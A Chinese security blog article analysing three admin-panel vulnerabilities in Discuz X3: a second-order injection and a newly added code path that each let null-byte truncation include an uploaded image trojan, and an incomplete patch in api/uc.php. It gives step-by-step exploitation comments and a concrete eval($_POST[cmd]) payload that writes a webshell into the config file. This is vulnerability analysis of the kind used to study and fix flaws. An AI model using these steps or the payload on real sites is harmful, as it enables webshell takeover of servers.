浅谈开源web程序后台的安全性(2)

案例二:二次注入

简单介绍一下二次注入,恶意用户alice在A处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

// 1、alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库

if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) {

$seccoderoot = 'static/image/seccode/font/en/';

} elseif($settingnew['seccodedata']['type'] == 1) {

$seccoderoot = 'static/image/seccode/font/ch/';

}

漏洞文件:source\module\misc\misc_seccode.php

// 2、$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx

if(!is_numeric($_G['setting']['seccodedata']['type'])) {

$etype = explode(':', $_G['setting']['seccodedata']['type']);

if(count($etype) >1) {

// 3、 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)

$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';

... 省略 ...

if(file_exists($codefile)) {

// 4、图片木马被include得到webshell

@include_once $codefile;

案例三:程序升级新增逻辑导致的漏洞

漏洞文件:X3\source\admincp\admincp_adv.php

// 1、alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转)

$type = $_GET['type'];

... ...

if($type) {

//2、得到$etype为1.gif\0

$etype = explode(':', $type);

if(count($etype) >1) {

//3、$advfile值被\0截断,为图片木马路径1.gif

$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';

$advclass = 'adv_'.$etype[1];

}

... 省略 ...

//4、包含图片木马,得到webshell

if(file_exists($advfile)) {

require_once $advfile;

对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。

$type = $_GET['type'];

$target = $_GET['target'];

$typeadd = '';

if($type) {

$advfile = libfile('adv/'.$type, 'class');

if(file_exists($advfile)) {

require_once $advfile;

案例四:漏洞修补不完善

漏洞文件:X3\api\uc.php

分析:

//1、config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server');

$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));

... ...

//2、$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];

得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。

$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i",

"define('UC_API','".addslashes($UC_API)."');", $configfile);

//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件

if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {

@fwrite($fp, trim($configfile));

@fclose($fp);

}

//4、alice再次传入$UC_API的值为xyz,preg_replace使用的正则表达式是

define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,

之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为

define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell。

这个问题早在2010年外部已经公开,官方已及时发出补丁

详情请参考:http://www.oldjun.com/blog/index.php/archives/76/

(责任编辑:安博涛)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

网络安全:互联网安全 如何防范木马及病毒

网络安全:互联网安全 如何防范木马及病毒的攻击

一、计算机中毒有哪些症状? 人生病了,会有各种各样的症状,同样,电脑中毒了也会有...[详细]

加强网站服务器安全维护的技巧

加强网站服务器安全维护的技巧

计算机系统服务器的维护工作十分重要,稍有不慎就会使整个网络陷入瘫痪。目前,网络经...[详细]

电脑离线就安全?这个软件一样能远程窃取数

电脑离线就安全?这个软件一样能远程窃取数据

以色列的一个研究团队已改良了窃取离线电脑数据的方法。人们一直认为这种离线电脑在面...[详细]

如何在Linux上最妥善地管理加密密钥?

如何在Linux上最妥善地管理加密密钥?

存储SSH加密密钥和牢记密码可能是一件让人很头痛的事儿。不过遗憾的是,在如今恶意黑...[详细]

如何在 Linux 上运行命令前临时清空 Bash

如何在 Linux 上运行命令前临时清空 Bash 环境变量

我是个 bash shell 用户。我想临时清空 bash shell 环境变量。但我不想删除或者 unset...[详细]

返回首页 返回顶部